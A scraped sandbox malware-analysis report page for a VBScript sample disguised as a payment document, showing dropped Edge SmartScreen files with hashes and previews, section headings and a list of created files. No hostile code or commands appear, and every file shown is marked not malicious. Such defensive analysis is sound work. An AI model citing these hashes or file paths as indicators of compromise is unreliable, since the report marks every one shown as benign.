Preview:	.........\| .*..\|.....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "h

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Payment_Activity_0104_2025-2-17.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\36d463fe-a0ea-471d-898a-a3427268d214.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\67154a2c-9be8-422d-a050-ad829042bd64.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8bfd537e-7fd1-4b97-9a5c-53cf3f626d63.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\226af1ae-3954-404a-b00b-cca40272e6f8.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1cc0ad53-be57-45e5-9e50-91f1808a81d9.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\547bda20-1b9b-4639-81f4-0bace8e89f34.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8160ec6a-7829-4d0d-9174-16b23ab6fc50.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\89aed4d3-5035-4663-89d5-e4510973aa90.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\91aaef82-3a81-4e99-99ac-8e8101c53b79.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\958a81bf-66db-404c-9b26-ed2bdff8dfc2.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Windows Analysis Report
Payment_Activity_0104_2025-2-17.vbs